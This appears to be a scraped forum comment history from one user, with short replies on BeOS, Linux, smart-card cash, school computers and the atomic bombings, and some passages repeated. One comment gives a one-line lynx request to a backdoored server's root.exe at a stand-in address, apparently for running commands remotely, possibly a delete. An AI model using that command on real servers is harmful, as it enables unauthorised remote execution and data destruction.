I'm not entirely convinced, although if this is a problem, it would be simple for Palm to fix. All they'd have to do is ground the cradle, which could be achieved by replacing the power chord used to charge the Palm when in the cradle, with a grounded cable.
Doesn't fix the Palm III or Palm VII. Also, what if the user doesn't plug in the power cord?
The last 80% or so of the article has been done to death here, so I'd like to comment on the first part:
Gee, BeOS users are stuck out in the cold, since their product is being discontinued?
Can we revisit the claims you BeOS folks were making about it not being important that the Source be Open?
This is why it's important, folks; no company can discontinue Linux. If RedHat dropped off the face of the Earth, my systems would continue to evolve and support new hardware.
In two years it'll be hard for BeOS people to buy a new machine that functions properly under their OS, because the source is closed and one company can dictate whether or not it's updated.
Last year at the Western Cable Show, several pvr manufacturers were showing pvr motherboards with scsi connectors, so the 2 drive limit would be raised to 15.
You're thinking small. One of those SCSI drives could be a 9TB EMC cabinet...
In regards to your sig linking to OpenBSD ISOs: the OpenBSD project doesn't distribute ISOs for a reason. They need the money to continue their work on new hardware, and that kind of money comes mainly from CD sales. Please don't be an open source leech and take without giving. Show a little consideration.
Information wants to be free. It doesn't want to be $30.
If the project can't survive without selling a proprietary component, perhaps it should look at the other projects that are doing just fine without this restriction and ask what they're doing right.
It isn't so simple, because when the card becomes widespread (if it becomes widespread), then someone will figure out how to make these cards, and will be able to purchase things for nothing.
So? The amounts will be encoded like a check. You'll only be able to cash a given packet once, and the central authority that clears them will have a record of which ones are valid. They'll be digitally signed. This problem was solved decades ago. Read Applied Cryptography.
Of course, the technology currently exists to use encryption to make this impossible, but how do we know that the card uses it?
By the lack of the issuing company going bankrupt from the massive losses. Anybody who doesn't know better than to do this wrong deserves what will happen to them in production.
OTOH, smart cards have to become ubiquitous before it will be possible to build the ultimate private solution:
A smart card that you buy in your local store for cash, which has a pre-encoded amount built in and a small identification system (even a PIN would be fine for this) that allows you to secure it so only you can use it.
No point in anybody stealing it because they can't use it, and nobody can see how much cash is in it, so no more profiling you based on how much cash is in your wallet.
Now thousands more of our tax dollars per student are going to go toward technology that 99% of the teachers are completely unable to use in any effective way to teach them, and even more of the student's educational time will be spent not learning the basic skills necessary to get and hold a beginning job.
Hurry up and build a stardrive, NASA, so I can get the fuck off this rock.
Like I said, it's at least arguable that killing people is sometimes justifiable. But it is still killing.
Killing does not necessarily equal homicide. You used a specific term.
Arguing that one should go ahead and kill tens of thousands of people because one possible alternative is a suicide mission for a few is totally specious.
Is it? I don't see it that way.
Japan attacked us. The way I see it, that means that saving their lives becomes less of a consideration than saving the lives of our people.
I would never advocate an initiation of force, but they initiated.
And don't give me the "following orders" argument; if you're expecting ME to commit suicide to avoid killing them, they should bloody well commit suicide first to avoid killing me.
But instead, it was a 60,000* homicides mission. And 90,000* homicides for Hiroshima. (Possibly justifiable homicides, depending on how one looks at it. But possibly not.)
How many homicides are you gonna charge us with for Iwo Jima? Normandy?
I found it interesting that he'd done computations regarding whether or not we could have done a "demonstration" bombing, and that it wasn't feasible.
The B-29 over Nagasaki was barely far enough away to avoid destruction as it was; if we'd done the "demonstration" so many Slashdotters occasionally complain about, it would have been a suicide mission.
Yes. Were you not aware of that?
BTW, good luck to you in the case where the homeowner says his door was locked, and you say it wasn't. The fact that you illegally entered the house will be enough to convince a jury that you picked the lock.
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I know it supports a jillion OSes, but does it support English?
I'm not entirely convinced, although if this is a problem, it would be simple for Palm to fix. All they'd have to do is ground the cradle, which could be achieved by replacing the power chord used to charge the Palm when in the cradle, with a grounded cable.
Doesn't fix the Palm III or Palm VII. Also, what if the user doesn't plug in the power cord?
The last 80% or so of the article has been done to death here, so I'd like to comment on the first part:
Gee, BeOS users are stuck out in the cold, since their product is being discontinued?
Can we revisit the claims you BeOS folks were making about it not being important that the Source be Open?
This is why it's important, folks; no company can discontinue Linux. If RedHat dropped off the face of the Earth, my systems would continue to evolve and support new hardware.
In two years it'll be hard for BeOS people to buy a new machine that functions properly under their OS, because the source is closed and one company can dictate whether or not it's updated.
Last year at the Western Cable Show, several pvr manufacturers were showing pvr motherboards with scsi connectors, so the 2 drive limit would be raised to 15.
You're thinking small. One of those SCSI drives could be a 9TB EMC cabinet...
whatis 10% of 2 million ??
.. they said.. the system supported 10% of 2million concurrently
An irrelevant, untested number.
i've hate to break it to you
No, jackass, they said it supported 10% of 400,000 concurrently.
Next time, read the fucking article before you go correcting your elders.
"1.0" says to most people who got into computing after 1995 "was released in 1901".
Can you imagine a B...
...never mind.
The test was of 400,000 users, not 2 million; the 2 million number is a projection that has not been tested.
If we're going to pretend we're journalists, let's pretend we took at least one semester of it, shall we?
In regards to your sig linking to OpenBSD ISOs: the OpenBSD project doesn't distribute ISOs for a reason. They need the money to continue their work on new hardware, and that kind of money comes mainly from CD sales. Please don't be an open source leech and take without giving. Show a little consideration.
Information wants to be free. It doesn't want to be $30.
If the project can't survive without selling a proprietary component, perhaps it should look at the other projects that are doing just fine without this restriction and ask what they're doing right.
It isn't so simple, because when the card becomes widespread (if it becomes widespread), then someone will figure out how to make these cards, and will be able to purchase things for nothing.
So? The amounts will be encoded like a check. You'll only be able to cash a given packet once, and the central authority that clears them will have a record of which ones are valid. They'll be digitally signed. This problem was solved decades ago. Read Applied Cryptography.
Of course, the technology currently exists to use encryption to make this impossible, but how do we know that the card uses it?
By the lack of the issuing company going bankrupt from the massive losses. Anybody who doesn't know better than to do this wrong deserves what will happen to them in production.
OTOH, smart cards have to become ubiquitous before it will be possible to build the ultimate private solution:
A smart card that you buy in your local store for cash, which has a pre-encoded amount built in and a small identification system (even a PIN would be fine for this) that allows you to secure it so only you can use it.
No point in anybody stealing it because they can't use it, and nobody can see how much cash is in it, so no more profiling you based on how much cash is in your wallet.
So what? Their freedom of choice isn't limited to the moment of installing software.
If they don't like the ads, they're free to remove the software.
If it's a pain in the ass to do because of Windows' deficiencies, well, they are free to chose an immature operating system, too.
You tell him, pal. Of course, being Katz, he's unlikely to listen -- he's more interested in being cool and edgy than in being correct.
That's funny; he's responded to every email I've ever sent him.
Perhaps you're just not saying anything worth listening to.
Having well designed interactive education is a great way to take an overworked teacher and allow them to get more done.
That's a nice straw man, but "well designed interactive education" doesn't exist in a generic form.
Rich private schools can afford to do something like that, but 99% of schools can't.
I'm not talking out my ass here, I've implemented computers, networks, and Internet in schools. They're damn near useless.
Cliff is 100% right.
The average school needs 35 computers; five in the library, 30 in the Computer Science classroom.
The average small school (especially rural ones) only needs the five in the library.
Most of the kids have access to a computer at home, anyway.
Now thousands more of our tax dollars per student are going to go toward technology that 99% of the teachers are completely unable to use in any effective way to teach them, and even more of the student's educational time will be spent not learning the basic skills necessary to get and hold a beginning job.
Hurry up and build a stardrive, NASA, so I can get the fuck off this rock.
You're right; I in fact have this dink in my weblogs, and I too have asked his ISP to put a stop to him.
However, he has apparantly dropped off the net, so perhaps somebody took you up on that.
Like I said, it's at least arguable that killing people is sometimes justifiable. But it is still killing.
Killing does not necessarily equal homicide. You used a specific term.
Arguing that one should go ahead and kill tens of thousands of people because one possible alternative is a suicide mission for a few is totally specious.
Is it? I don't see it that way.
Japan attacked us. The way I see it, that means that saving their lives becomes less of a consideration than saving the lives of our people.
I would never advocate an initiation of force, but they initiated.
And don't give me the "following orders" argument; if you're expecting ME to commit suicide to avoid killing them, they should bloody well commit suicide first to avoid killing me.
The proper syntax, for those who care, is:
l tree+/y+\\
lynx -source http://ip.address.of.moron/scripts/root.exe?/c+de
Now, patch your fucking servers, because the whole world is gonna know how to do this soon...
But instead, it was a 60,000* homicides mission. And 90,000* homicides for Hiroshima. (Possibly justifiable homicides, depending on how one looks at it. But possibly not.)
How many homicides are you gonna charge us with for Iwo Jima? Normandy?
And before anyone says it, yes, computers have reached Wales now...
Better not run Harpoon on them, or Greenpeace will be pissed.
I found it interesting that he'd done computations regarding whether or not we could have done a "demonstration" bombing, and that it wasn't feasible.
The B-29 over Nagasaki was barely far enough away to avoid destruction as it was; if we'd done the "demonstration" so many Slashdotters occasionally complain about, it would have been a suicide mission.
Why in the hell is the obvious solution adding the moniker of an organization that contributes less than 10% of the system?
I think the real solution is to Free the Demon Penguin unless they shut the hell up.
BTW, to those of you saying "gcc", remember that the current gcc is egcs, *NOT* Stallman's code.
If gcc is your saving piece of code for this nonsense, it'd make as much sense to make everybody call it Red Hat Linux...
Well Xfree86 and a lot of the BSD code isn't needed at all to get an operating system up and running. GNU and Linux represent the core that is needed.
Strip out the parts that are NEEDED, as opposed to the parts that are usually chosen, and you'll find that GNU software isn't everything.
Unless you consider anything that's GPL'ed to be GNU software.
As Drepper pointed out, glibc isn't GNU software unless you use the latter definition.
Is entry through an unlocked door illegal?
Yes. Were you not aware of that?
BTW, good luck to you in the case where the homeowner says his door was locked, and you say it wasn't. The fact that you illegally entered the house will be enough to convince a jury that you picked the lock.